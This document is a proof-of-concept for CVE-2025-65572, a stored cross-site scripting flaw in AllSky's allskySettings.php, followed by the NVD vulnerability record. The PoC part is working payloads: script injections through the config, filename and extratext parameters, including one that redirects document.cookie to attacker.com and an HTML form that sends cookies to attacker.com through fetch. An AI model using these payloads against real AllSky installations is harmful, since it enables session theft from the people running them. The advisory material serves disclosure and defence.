CVE-2025-65572

<!-- CVE-2025-65572 PoC - Stored XSS in AllSky allskySettings.php --> <!-- Inject via config parameter --> https://[target]/allskySettings.php?config=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E <!-- Inject via filename parameter --> https://[target]/allskySettings.php?filename=%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E <!-- Inject via extratext parameter --> https://[target]/allskySettings.php?extratext=%3Cscript%3Edocument.location=%27https://attacker.com/steal?c=%27+document.cookie%3C/script%3E <!-- Example HTML form for exploitation --> <form action="https://[target]/allskySettings.php" method="GET"> <input type="hidden" name="config" value='"><script>fetch("https://attacker.com/log?cookie="+document.cookie)</script>'> <input type="submit" value="Exploit"> </form>

{"cve": {"id": "CVE-2025-65572", "sourceIdentifier": "[email protected]", "published": "2025-12-09T19:15:49.533", "lastModified": "2025-12-16T20:03:52.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting (XSS) vulnerability in AllskyTeam AllSky v2024.12.06_06 allows remote attackers to execute arbitrary code via the (1) config, (2) filename, or (3) extratext parameter to allskySettings.php. When the page is reloaded or when user visits allskySettings.php, the showMessages() function in status_messages.php will print out the error messages and execute the script injected by the attacker."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:allskyteam:allsky:2024.12.06_06:*:*:*:*:*:*:*", "matchCriteriaId": "E0704121-18E0-4B0F-9ACB-29812AC92F63"}]}]}], "references": [{"url": "https://gh0stmezh.wordpress.com/2025/12/04/cve-2025-65572/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/AllskyTeam/allsky", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/AllskyTeam/allsky/blob/master/html/includes/allskySettings.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/AllskyTeam/allsky/blob/master/html/includes/status_messages.php", "source": "[email protected]", "tags": ["Product"]}]}}